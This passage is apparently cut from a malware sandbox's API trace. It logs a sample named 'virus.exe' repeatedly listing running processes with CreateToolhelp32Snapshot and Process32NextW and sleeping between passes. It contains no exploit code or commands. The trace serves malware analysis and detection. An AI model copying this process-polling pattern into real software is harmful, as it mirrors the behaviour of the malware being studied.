th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.098] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.098] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.098] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.099] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.099] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.100] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.100] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.100] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.101] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.101] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.101] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.102] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.102] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0166.102] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.103] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.103] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.103] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.104] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.104] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.105] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.105] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.105] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.106] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.106] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0166.106] CloseHandle (hObject=0x1d8) returned 1 [0166.106] Sleep (dwMilliseconds=0x1f4) [0166.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0166.792] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.792] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.793] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.793] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.793] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.794] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.794] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.794] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.795] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.795] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.796] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.796] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.796] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.797] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.797] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.798] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.798] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.798] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.799] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0166.799] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.800] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.800] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.800] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.801] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.802] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.802] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.802] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.803] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0166.803] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.804] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0166.804] CloseHandle (hObject=0x1e4) returned 1 [0166.804] Sleep (dwMilliseconds=0x1f4) [0167.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0167.491] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.491] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.492] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.492] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.492] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.493] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.493] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.493] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.494] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.494] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.495] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.495] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.495] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.496] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.496] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.496] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.496] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.497] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.497] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0167.497] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.498] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.498] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.498] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.499] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.499] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0167.499] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0167.500] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.500] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: 